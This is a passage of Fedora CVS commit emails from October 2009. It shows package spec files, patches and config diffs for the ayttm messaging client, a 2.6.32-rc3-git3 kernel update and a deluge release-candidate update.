messages through AOL, ICQ, Yahoo, MSN, IRC and Jabber.

%prep

%setup -q -n %{name}-%{version}
%patch0 -p0
%patch1 -p1

tr -d '\r' < AUTHORS > AUTHORS.new
iconv -f ISO-8859-2 -t UTF-8 AUTHORS.new > AUTHORS


%build
%configure --enable-smtp --enable-jasper-filter --enable-posix-dlopen --sysconfdir=/etc 
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
%find_lang %{name}


desktop-file-install                                    \
--delete-original                                       \
--dir=$RPM_BUILD_ROOT%{_datadir}/applications              \
$RPM_BUILD_ROOT/%{_datadir}/applnk/Internet/%{name}.desktop

%clean
rm -rf $RPM_BUILD_ROOT

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING AUTHORS README ChangeLog
%doc %{_mandir}/man*/*
%{_datadir}/pixmaps/*.png
%{_datadir}/ayttm/sounds/*
%{_datadir}/ayttm/smileys/*
%{_datadir}/gnome/apps/Internet/ayttm.desktop
%{_datadir}/applications/ayttm.desktop
%{_libdir}/ayttm/*.so 
%config(noreplace) %{_sysconfdir}/ayttmrc
%{_bindir}/ayttm_streamer_wrapper
%{_bindir}/ayttm
%exclude %{_libdir}/ayttm/*.a
%exclude %{_libdir}/ayttm/*.la

%changelog

* Tue Sep 16 2009 Minto Joseph <mvaliyav at redhat.com> 0.6.0-1
- Rebased to new upstream release
- Cleaned up spec file
- Added patch for msn2.so loading issue 
- Added patch for renaming ayttm_streamer_wrapper

* Tue Jul 28 2009 Minto Joseph <mvaliyav at redhat.com> 0.5.0-1.111
- Rebased to new upstream release

* Fri Jun 26 2009 Parag <panemade at gmail.com > 0.5.0-2
- Use correct way to install translations and rpm macros 
- Correct BuildRequires and follow post release naming

* Mon Jun 10 2009 Minto Joseph <mvaliyav at redhat.com> - 0.5.0-1
- Cleaned up spec file
- Included ifnarch for ppc64 to fix build issue with brp-compress 
- Removed the option for stripping of debug information

* Mon Jun 01 2009 Minto Joseph <mvaliyav at redhat.com> - 0.5.0-0
- initial package




--- NEW FILE import.log ---
ayttm-0_6_0-1_fc11:F-11:ayttm-0.6.0-1.fc11.src.rpm:1255245669


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ayttm/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:55:55 -0000	1.1
+++ .cvsignore	11 Oct 2009 07:27:51 -0000	1.2
@@ -0,0 +1 @@
+ayttm-0.6.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ayttm/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:55:55 -0000	1.1
+++ sources	11 Oct 2009 07:27:52 -0000	1.2
@@ -0,0 +1 @@
+729597a2a827d8b46173d7e462cfb7a9  ayttm-0.6.0.tar.bz2



From kyle at fedoraproject.org  Sun Oct 11 07:29:07 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Sun, 11 Oct 2009 07:29:07 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc3-git3.bz2.sign, NONE,
	1.1 .cvsignore, 
	1.1132, 1.1133 Makefile, 1.113, 1.114 config-debug, 1.31,
	1.32 config-nodebug, 1.42, 1.43 config-x86-generic, 1.90,
	1.91 config-x86_64-generic, 1.93, 1.94 kernel.spec, 1.1817,
	1.1818 sources, 1.1091, 1.1092 upstream, 1.1004, 1.1005
Message-ID: <20091011072907.8753211C00EC@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv468

Modified Files:
	.cvsignore Makefile config-debug config-nodebug 
	config-x86-generic config-x86_64-generic kernel.spec sources 
	upstream 
Added Files:
	patch-2.6.32-rc3-git3.bz2.sign 
Log Message:
* Sun Oct 11 2009 Kyle McMartin <kyle at redhat.com>
- 2.6.32-rc3-git3



--- NEW FILE patch-2.6.32-rc3-git3.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKz9RqyGugalF9Dw4RApalAJ9XsxaGCkrX1sua2+9vQKjl+lTEYACgjf9x
Z+8D/oIbCoE2T1p0wfrDXrA=
=kYxL
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1132
retrieving revision 1.1133
diff -u -p -r1.1132 -r1.1133
--- .cvsignore	5 Oct 2009 01:39:25 -0000	1.1132
+++ .cvsignore	11 Oct 2009 07:29:06 -0000	1.1133
@@ -6,3 +6,4 @@ temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc3.bz2
+patch-2.6.32-rc3-git3.bz2


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Makefile,v
retrieving revision 1.113
retrieving revision 1.114
diff -u -p -r1.113 -r1.114
--- Makefile	28 Sep 2009 22:57:20 -0000	1.113
+++ Makefile	11 Oct 2009 07:29:06 -0000	1.114
@@ -77,6 +77,7 @@ debug:
 	@perl -pi -e 's/# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set/CONFIG_DEBUG_FORCE_WEAK_PER_CPU=y/' config-nodebug
 	@perl -pi -e 's/# CONFIG_ACPI_DEBUG is not set/CONFIG_ACPI_DEBUG=y/' config-nodebug
 	@perl -pi -e 's/# CONFIG_EXT4_DEBUG is not set/CONFIG_EXT4_DEBUG=y/' config-nodebug
+	@perl -pi -e 's/# CONFIG_DEBUG_PERF_USE_VMALLOC is not set/CONFIG_DEBUG_PERF_USE_VMALLOC=y/' config-nodebug
 
 	@# just in case we're going from extremedebug -> debug
 	@perl -pi -e 's/CONFIG_DEBUG_PAGEALLOC=y/# CONFIG_DEBUG_PAGEALLOC is not set/' config-nodebug
@@ -128,6 +129,7 @@ release:
 	@perl -pi -e 's/CONFIG_DEBUG_FORCE_WEAK_PER_CPU=y/# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set/' config-nodebug
 	@perl -pi -e 's/CONFIG_ACPI_DEBUG=y/# CONFIG_ACPI_DEBUG is not set/' config-nodebug
 	@perl -pi -e 's/CONFIG_EXT4_DEBUG=y/# CONFIG_EXT4_DEBUG is not set/' config-nodebug
+	@perl -pi -e 's/CONFIG_DEBUG_PERF_USE_VMALLOC=y/# CONFIG_DEBUG_PERF_USE_VMALLOC is not set/' config-nodebug
 
 	@perl -pi -e 's/CONFIG_DEBUG_PAGEALLOC=y/# CONFIG_DEBUG_PAGEALLOC is not set/' config-debug
 	@perl -pi -e 's/CONFIG_DEBUG_PAGEALLOC=y/# CONFIG_DEBUG_PAGEALLOC is not set/' config-nodebug


Index: config-debug
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-debug,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- config-debug	28 Sep 2009 22:41:52 -0000	1.31
+++ config-debug	11 Oct 2009 07:29:06 -0000	1.32
@@ -54,3 +54,5 @@ CONFIG_MMIOTRACE=y
 CONFIG_DEBUG_CREDENTIALS=y
 
 CONFIG_EXT4_DEBUG=y
+
+CONFIG_DEBUG_PERF_USE_VMALLOC=y


Index: config-nodebug
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-nodebug,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- config-nodebug	28 Sep 2009 22:57:22 -0000	1.42
+++ config-nodebug	11 Oct 2009 07:29:06 -0000	1.43
@@ -56,3 +56,5 @@ CONFIG_DEBUG_CREDENTIALS=y
 CONFIG_DEBUG_FORCE_WEAK_PER_CPU=y
 
 CONFIG_EXT4_DEBUG=y
+
+CONFIG_DEBUG_PERF_USE_VMALLOC=y


Index: config-x86-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-x86-generic,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- config-x86-generic	5 Oct 2009 01:31:00 -0000	1.90
+++ config-x86-generic	11 Oct 2009 07:29:06 -0000	1.91
@@ -491,6 +491,7 @@ CONFIG_INPUT_WINBOND_CIR=m
 CONFIG_I2C_SCMI=m
 CONFIG_SBC_FITPC2_WATCHDOG=m
 CONFIG_EDAC_I3200=m
+CONFIG_EDAC_DECODE_MCE=m
 
 CONFIG_GPIO_LANGWELL=y
 


Index: config-x86_64-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-x86_64-generic,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- config-x86_64-generic	7 Oct 2009 17:28:16 -0000	1.93
+++ config-x86_64-generic	11 Oct 2009 07:29:06 -0000	1.94
@@ -213,6 +213,7 @@ CONFIG_EDAC_AMD8131=m
 CONFIG_EDAC_AMD8111=m
 CONFIG_EDAC_AMD64=m
 # CONFIG_EDAC_AMD64_ERROR_INJECTION is not set
+CONFIG_EDAC_DECODE_MCE=m
 
 CONFIG_SCHED_MC=y
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1817
retrieving revision 1.1818
diff -u -p -r1.1817 -r1.1818
--- kernel.spec	8 Oct 2009 05:58:46 -0000	1.1817
+++ kernel.spec	11 Oct 2009 07:29:06 -0000	1.1818
@@ -61,7 +61,7 @@ Summary: The Linux kernel
 # The rc snapshot level
 %define rcrev 3
 # The git snapshot level
-%define gitrev 0
+%define gitrev 3
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -1985,6 +1985,9 @@ fi
 # ##############################################################
 
 %changelog
+* Sun Oct 11 2009 Kyle McMartin <kyle at redhat.com>
+- 2.6.32-rc3-git3
+
 * Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>
 - ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1091
retrieving revision 1.1092
diff -u -p -r1.1091 -r1.1092
--- sources	5 Oct 2009 01:39:25 -0000	1.1091
+++ sources	11 Oct 2009 07:29:07 -0000	1.1092
@@ -1,2 +1,3 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
 767d2d8921ef5730cde0cd40014265eb  patch-2.6.32-rc3.bz2
+e77b3fddc1644d9546c51f0aa5c584c2  patch-2.6.32-rc3-git3.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1004
retrieving revision 1.1005
diff -u -p -r1.1004 -r1.1005
--- upstream	5 Oct 2009 01:39:25 -0000	1.1004
+++ upstream	11 Oct 2009 07:29:07 -0000	1.1005
@@ -1,2 +1,3 @@
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc3.bz2
+patch-2.6.32-rc3-git3.bz2



From mintojoseph at fedoraproject.org  Sun Oct 11 07:31:13 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Sun, 11 Oct 2009 07:31:13 +0000 (UTC)
Subject: rpms/ayttm/F-12 ayttm-msn-load.patch, NONE,
	1.1 ayttm-rename-ayttm_streamer_wrapper.patch, NONE,
	1.1 ayttm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091011073113.DC05F11C00EC@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/ayttm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv905/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	ayttm-msn-load.patch ayttm-rename-ayttm_streamer_wrapper.patch 
	ayttm.spec import.log 
Log Message:

 Committing in .
 
Modified Files:
 	F-12/.cvsignore F-12/sources 
 Added Files:
 	F-12/ayttm-msn-load.patch 
 	F-12/ayttm-rename-ayttm_streamer_wrapper.patch F-12/ayttm.spec 
 	F-12/import.log 
 ----------------------------------------------------------------------
initial pacakge


ayttm-msn-load.patch:
 msn.c |   16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

--- NEW FILE ayttm-msn-load.patch ---
--- modules/msn2/msn.c	2009/09/06 18:23:08	1.13
+++ modules/msn2/msn.c	2009/09/14 10:40:36	1.14
@@ -79,11 +79,13 @@
  *			     Begin Module Code
  ************************************************************************************/
 /*  Module defines */
-#define plugin_info msn2_LTX_plugin_info
-#define SERVICE_INFO msn2_LTX_SERVICE_INFO
-#define plugin_init msn2_LTX_plugin_init
-#define plugin_finish msn2_LTX_plugin_finish
-#define module_version msn2_LTX_module_version
+#ifndef USE_POSIX_DLOPEN
+	#define plugin_info msn2_LTX_plugin_info
+	#define SERVICE_INFO msn2_LTX_SERVICE_INFO
+	#define plugin_init msn2_LTX_plugin_init
+	#define plugin_finish msn2_LTX_plugin_finish
+	#define module_version msn2_LTX_module_version
+#endif
 
 
 typedef struct _ay_msn_local_account
@@ -142,8 +144,8 @@
 	PLUGIN_SERVICE,
 	"MSN",
 	"Provides MSN Messenger support",
-	"$Revision: 1.13 $",
-	"$Date: 2009/09/06 18:23:08 $",
+	"$Revision: 1.14 $",
+	"$Date: 2009/09/14 10:40:36 $",
 	&ref_count,
 	plugin_init,
 	plugin_finish,

ayttm-rename-ayttm_streamer_wrapper.patch:
 ayttm.spec                                     |    2 
 ayttm.spec.in                                  |    2 
 modules/image_filter/Makefile.am               |    2 
 modules/image_filter/Makefile.in               |    2 
 modules/image_filter/ayttm_streamer_wrapper    |   55 +++++++++++++++++++++++++
 modules/image_filter/ayttm_streamer_wrapper.sh |   55 -------------------------
 modules/image_filter/video_capture.c           |    2 
 7 files changed, 60 insertions(+), 60 deletions(-)

--- NEW FILE ayttm-rename-ayttm_streamer_wrapper.patch ---
diff -pruN ayttm-0.6.0-orig/ayttm.spec ayttm-0.6.0-fix/ayttm.spec
--- ayttm-0.6.0-orig/ayttm.spec	2009-09-11 09:21:01.000000000 +0530
+++ ayttm-0.6.0-fix/ayttm.spec	2009-09-16 14:11:36.274638531 +0530
@@ -85,7 +85,7 @@ rm -rf $RPM_BUILD_ROOT
 # the config file
 %config(noreplace) /etc/ayttmrc
 # Lastly, the binary itself
-%{_bindir}/ayttm_streamer_wrapper.sh
+%{_bindir}/ayttm_streamer_wrapper
 %{_bindir}/ayttm
 %exclude %{_libdir}/ayttm/*.a
 
diff -pruN ayttm-0.6.0-orig/ayttm.spec.in ayttm-0.6.0-fix/ayttm.spec.in
--- ayttm-0.6.0-orig/ayttm.spec.in	2009-05-22 15:12:55.000000000 +0530
+++ ayttm-0.6.0-fix/ayttm.spec.in	2009-09-16 14:11:20.149638832 +0530
@@ -85,7 +85,7 @@ rm -rf $RPM_BUILD_ROOT
 # the config file
 %config(noreplace) /etc/ayttmrc
 # Lastly, the binary itself
-%{_bindir}/ayttm_streamer_wrapper.sh
+%{_bindir}/ayttm_streamer_wrapper
 %{_bindir}/@PACKAGE@
 %exclude %{_libdir}/@PACKAGE@/*.a
 
diff -pruN ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper
--- ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper	1970-01-01 05:30:00.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper	2004-01-20 10:07:29.000000000 +0530
@@ -0,0 +1,55 @@
+#!/bin/bash
+
+make_rcfile()
+{
+	file=$1
+	outdir=$2/webcam
+	[ ! -e $outdir ] && mkdir $outdir
+	cat >$file <<EOF
+[ftp]
+dir  = $outdir
+file = webcam.jpeg
+tmp  = uploading.jpeg
+local = 1
+
+[grab]
+device = /dev/video0
+text = "webcam %Y-%m-%d %H:%M:%S"
+width = 320
+height = 240
+delay = 3
+quality = 75
+EOF
+
+}
+
+RCFILE=~/.webcamrc
+[ "$1" = "-d" ] && AYTTM_DIR=$2 || AYTTM_DIR=~/.ayttm
+
+[ ! -e $RCFILE ] && make_rcfile $RCFILE $AYTTM_DIR
+
+if ! ps -u $UID | grep -q webcam >/dev/null; then
+	/usr/bin/webcam &>/dev/null &
+fi
+ps -u $UID | grep -q webcam >/dev/null || exit -1
+
+IMGDIR=$( sed -ne "/.*\<dir *= */{s///;p
+}" $RCFILE )
+if ! echo $IMGDIR | sed -e 's,^~/,,' | grep -q "^/" >/dev/null; then
+	IMGDIR=$HOME/$IMGDIR
+fi
+IMGFILE=$( sed -ne "/.*\<file *= */{s///;p
+}" $RCFILE )
+
+cat $IMGDIR/$IMGFILE || exit -1
+
+exit 0
+
+#LOCK=$AYTTM_DIR/webcam_grab.lock
+#[ -e $LOCK ] && exit 0
+#touch $LOCK
+
+#/usr/bin/streamer -q -f jpeg -o /dev/stdout OUTFILE 2>/dev/null
+#rm -f $LOCK
+
+#exit 0
diff -pruN ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper.sh ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper.sh
--- ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper.sh	2004-01-20 10:07:29.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper.sh	1970-01-01 05:30:00.000000000 +0530
@@ -1,55 +0,0 @@
-#!/bin/bash
-
-make_rcfile()
-{
-	file=$1
-	outdir=$2/webcam
-	[ ! -e $outdir ] && mkdir $outdir
-	cat >$file <<EOF
-[ftp]
-dir  = $outdir
-file = webcam.jpeg
-tmp  = uploading.jpeg
-local = 1
-
-[grab]
-device = /dev/video0
-text = "webcam %Y-%m-%d %H:%M:%S"
-width = 320
-height = 240
-delay = 3
-quality = 75
-EOF
-
-}
-
-RCFILE=~/.webcamrc
-[ "$1" = "-d" ] && AYTTM_DIR=$2 || AYTTM_DIR=~/.ayttm
-
-[ ! -e $RCFILE ] && make_rcfile $RCFILE $AYTTM_DIR
-
-if ! ps -u $UID | grep -q webcam >/dev/null; then
-	/usr/bin/webcam &>/dev/null &
-fi
-ps -u $UID | grep -q webcam >/dev/null || exit -1
-
-IMGDIR=$( sed -ne "/.*\<dir *= */{s///;p
-}" $RCFILE )
-if ! echo $IMGDIR | sed -e 's,^~/,,' | grep -q "^/" >/dev/null; then
-	IMGDIR=$HOME/$IMGDIR
-fi
-IMGFILE=$( sed -ne "/.*\<file *= */{s///;p
-}" $RCFILE )
-
-cat $IMGDIR/$IMGFILE || exit -1
-
-exit 0
-
-#LOCK=$AYTTM_DIR/webcam_grab.lock
-#[ -e $LOCK ] && exit 0
-#touch $LOCK
-
-#/usr/bin/streamer -q -f jpeg -o /dev/stdout OUTFILE 2>/dev/null
-#rm -f $LOCK
-
-#exit 0
diff -pruN ayttm-0.6.0-orig/modules/image_filter/Makefile.am ayttm-0.6.0-fix/modules/image_filter/Makefile.am
--- ayttm-0.6.0-orig/modules/image_filter/Makefile.am	2007-08-04 02:08:38.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/Makefile.am	2009-09-16 14:10:07.300638690 +0530
@@ -11,7 +11,7 @@ else
 JASPER_BUILD =
 endif
 
-bin_SCRIPTS = ayttm_streamer_wrapper.sh
+bin_SCRIPTS = ayttm_streamer_wrapper
 pkglib_LTLIBRARIES = video_capture.la $(JASPER_BUILD)
 
 img2jpc_la_SOURCES = img2jpc.c 
diff -pruN ayttm-0.6.0-orig/modules/image_filter/Makefile.in ayttm-0.6.0-fix/modules/image_filter/Makefile.in
--- ayttm-0.6.0-orig/modules/image_filter/Makefile.in	2009-09-11 09:20:20.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/Makefile.in	2009-09-16 14:10:34.031388774 +0530
@@ -287,7 +287,7 @@ AM_CFLAGS = $(GLIB_CFLAGS) $(JASPER_CFLA
 @MINGW32_TRUE at WIN32_LIBADD = -L../../src -layttm -lintl -lglib-2.0
 @BUILD_JASPER_FILTER_FALSE at JASPER_BUILD = 
 @BUILD_JASPER_FILTER_TRUE at JASPER_BUILD = img2jpc.la
-bin_SCRIPTS = ayttm_streamer_wrapper.sh
+bin_SCRIPTS = ayttm_streamer_wrapper
 pkglib_LTLIBRARIES = video_capture.la $(JASPER_BUILD)
 img2jpc_la_SOURCES = img2jpc.c 
 img2jpc_la_LDFLAGS = -module -avoid-version $(WIN32_LDFLAGS)
diff -pruN ayttm-0.6.0-orig/modules/image_filter/video_capture.c ayttm-0.6.0-fix/modules/image_filter/video_capture.c
--- ayttm-0.6.0-orig/modules/image_filter/video_capture.c	2009-07-27 22:12:03.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/video_capture.c	2009-09-16 14:11:01.998637986 +0530
@@ -43,7 +43,7 @@
 static int plugin_init();
 static int plugin_finish();
 
-static char frame_grabber[MAX_PREF_LEN]= AYTTM_BIN_DIR "/ayttm_streamer_wrapper.sh -d %d";
+static char frame_grabber[MAX_PREF_LEN]= AYTTM_BIN_DIR "/ayttm_streamer_wrapper -d %d";
 
 /*  Module Exports */
 PLUGIN_INFO plugin_info = {


--- NEW FILE ayttm.spec ---
Summary: Universal Instant Messaging Client
Name: ayttm
Version: 0.6.0
Release: 1%{?dist}
Group: Applications/Internet
License: GPLv2+ and LGPLv2+
URL: http://ayttm.sourceforge.net/
Source: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2

# Fix for msn2.so loading issue
# https://sourceforge.net/tracker/?func=detail&atid=550744&aid=2858501&group_id=77614
Patch0: ayttm-msn-load.patch

# Renamed ayttm_streamer_wrapper.sh to ayttm_streamer_wrapper.
# https://sourceforge.net/tracker/?func=detail&aid=2859843&group_id=77614&atid=550746
Patch1: ayttm-rename-ayttm_streamer_wrapper.patch 

BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: flex
BuildRequires: bison
BuildRequires: libtool-ltdl-devel
BuildRequires: libXpm-devel
BuildRequires: openssl-devel
BuildRequires: jasper-devel
BuildRequires: esound-devel
BuildRequires: desktop-file-utils
BuildRequires: gtk2-devel
BuildRequires: gettext
BuildRequires: aspell-devel
BuildRequires: libtool-ltdl

Requires: xawtv
Requires: aspell

%description
Ayttm is designed to become a Universal Instant Messaging client, seamlessly
integrating all existing Instant Messaging clients and providing a single
consistant user interface. Currently, Ayttm supports sending and receiving
messages through AOL, ICQ, Yahoo, MSN, IRC and Jabber.

%prep

%setup -q -n %{name}-%{version}
%patch0 -p0
%patch1 -p1

tr -d '\r' < AUTHORS > AUTHORS.new
iconv -f ISO-8859-2 -t UTF-8 AUTHORS.new > AUTHORS


%build
%configure --enable-smtp --enable-jasper-filter --enable-posix-dlopen --sysconfdir=/etc 
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
%find_lang %{name}


desktop-file-install                                    \
--delete-original                                       \
--dir=$RPM_BUILD_ROOT%{_datadir}/applications              \
$RPM_BUILD_ROOT/%{_datadir}/applnk/Internet/%{name}.desktop

%clean
rm -rf $RPM_BUILD_ROOT

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING AUTHORS README ChangeLog
%doc %{_mandir}/man*/*
%{_datadir}/pixmaps/*.png
%{_datadir}/ayttm/sounds/*
%{_datadir}/ayttm/smileys/*
%{_datadir}/gnome/apps/Internet/ayttm.desktop
%{_datadir}/applications/ayttm.desktop
%{_libdir}/ayttm/*.so 
%config(noreplace) %{_sysconfdir}/ayttmrc
%{_bindir}/ayttm_streamer_wrapper
%{_bindir}/ayttm
%exclude %{_libdir}/ayttm/*.a
%exclude %{_libdir}/ayttm/*.la

%changelog

* Tue Sep 16 2009 Minto Joseph <mvaliyav at redhat.com> 0.6.0-1
- Rebased to new upstream release
- Cleaned up spec file
- Added patch for msn2.so loading issue 
- Added patch for renaming ayttm_streamer_wrapper

* Tue Jul 28 2009 Minto Joseph <mvaliyav at redhat.com> 0.5.0-1.111
- Rebased to new upstream release

* Fri Jun 26 2009 Parag <panemade at gmail.com > 0.5.0-2
- Use correct way to install translations and rpm macros 
- Correct BuildRequires and follow post release naming

* Mon Jun 10 2009 Minto Joseph <mvaliyav at redhat.com> - 0.5.0-1
- Cleaned up spec file
- Included ifnarch for ppc64 to fix build issue with brp-compress 
- Removed the option for stripping of debug information

* Mon Jun 01 2009 Minto Joseph <mvaliyav at redhat.com> - 0.5.0-0
- initial package




--- NEW FILE import.log ---
ayttm-0_6_0-1_fc11:F-12:ayttm-0.6.0-1.fc11.src.rpm:1255245838


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ayttm/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:55:55 -0000	1.1
+++ .cvsignore	11 Oct 2009 07:31:13 -0000	1.2
@@ -0,0 +1 @@
+ayttm-0.6.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ayttm/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:55:55 -0000	1.1
+++ sources	11 Oct 2009 07:31:13 -0000	1.2
@@ -0,0 +1 @@
+729597a2a827d8b46173d7e462cfb7a9  ayttm-0.6.0.tar.bz2



From pgordon at fedoraproject.org  Sun Oct 11 07:47:37 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Sun, 11 Oct 2009 07:47:37 +0000 (UTC)
Subject: rpms/deluge/devel deluge-scalable-icon-dir.diff, 1.1,
	1.2 deluge.spec, 1.95, 1.96
Message-ID: <20091011074737.4BE4D11C00EC@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/deluge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5063

Modified Files:
	deluge-scalable-icon-dir.diff deluge.spec 
Log Message:
Update to 1.2.0 RC1

deluge-scalable-icon-dir.diff:
 setup.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: deluge-scalable-icon-dir.diff
===================================================================
RCS file: /cvs/pkgs/rpms/deluge/devel/deluge-scalable-icon-dir.diff,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- deluge-scalable-icon-dir.diff	11 Mar 2009 00:01:32 -0000	1.1
+++ deluge-scalable-icon-dir.diff	11 Oct 2009 07:47:34 -0000	1.2
@@ -1,7 +1,7 @@
 diff -up ./setup.py.old ./setup.py
---- ./setup.py.old	2009-03-10 16:50:52.000000000 -0700
-+++ ./setup.py	2009-03-10 16:51:04.000000000 -0700
-@@ -328,7 +328,7 @@ cmdclass = {
+--- ./setup.py.old	2009-10-10 23:42:57.942143122 -0700
++++ ./setup.py	2009-10-10 23:43:20.248144209 -0700
+@@ -367,7 +367,7 @@ cmdclass = {
  
  # Data files to be installed to the system
  _data_files = [


Index: deluge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deluge/devel/deluge.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- deluge.spec	24 Jul 2009 20:08:54 -0000	1.95
+++ deluge.spec	11 Oct 2009 07:47:35 -0000	1.96
@@ -2,16 +2,15 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:		deluge
-Version:	1.1.9
-Release:	3%{?dist}
+Version:	1.2.0
+Release:	0.1.rc1%{?dist}
 Summary:	A GTK+ BitTorrent client with support for DHT, UPnP, and PEX
 Group:		Applications/Internet
 License:	GPLv3 with exceptions
 URL:		http://deluge-torrent.org/           
 
-Source0:	http://download.deluge-torrent.org/source/%{version}/%{name}-%{version}.tar.bz2
+Source0:	http://download.deluge-torrent.org/source/%{version}/%{name}-%{version}_rc1.tar.bz2
 
-## The scalable icon needs to be installed to the proper place.
 Patch0: 	%{name}-scalable-icon-dir.diff
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -20,22 +19,21 @@ BuildArch:	noarch
 BuildRequires:	desktop-file-utils
 BuildRequires:	python-devel
 BuildRequires:	python-setuptools
-## The build script checks for the libtorrent module and skips compiling the
-## in-tarball one if this is found.
-BuildRequires:	rb_libtorrent-python
-
-Requires:	/bin/sh
-Requires:	dbus-python
-Requires:	dbus-x11
+
+Requires:	gnome-python2-gnome
 ## Required for the proper ownership of icon dirs.
 Requires:	hicolor-icon-theme
-Requires:	pygtk2-libglade
+Requires:	notify-python
 Requires:	pyOpenSSL
+Requires:	pygtk2-libglade
 Requires:	python-chardet
 Requires:	python-setuptools
+Requires:	python-simplejson
+Requires:	python-twisted-web
 Requires:	pyxdg
 Requires:	rb_libtorrent-python
 
+
 %description
 Deluge is a new BitTorrent client, created using Python and GTK+. It is
 intended to bring a native, full-featured client to Linux GTK+ desktop
@@ -57,7 +55,7 @@ display the location of peers in the "Pe
 
 
 %prep
-%setup -qn "%{name}-%{version}"
+%setup -qn "%{name}-%{version}_rc1"
 %patch0 -p0 -b .fix-scalable-icon-dir
 
 
@@ -115,8 +113,11 @@ rm -rf %{buildroot}
 %files -f %{name}.filelist
 %defattr(-,root,root,-)
 %doc ChangeLog LICENSE README
-%{python_sitelib}/%{name}-%{version}-py?.?.egg-info/
+%{python_sitelib}/%{name}-%{version}_rc1_dev-py2.?.egg-info/
 %{_bindir}/%{name}
+%{_bindir}/%{name}-console
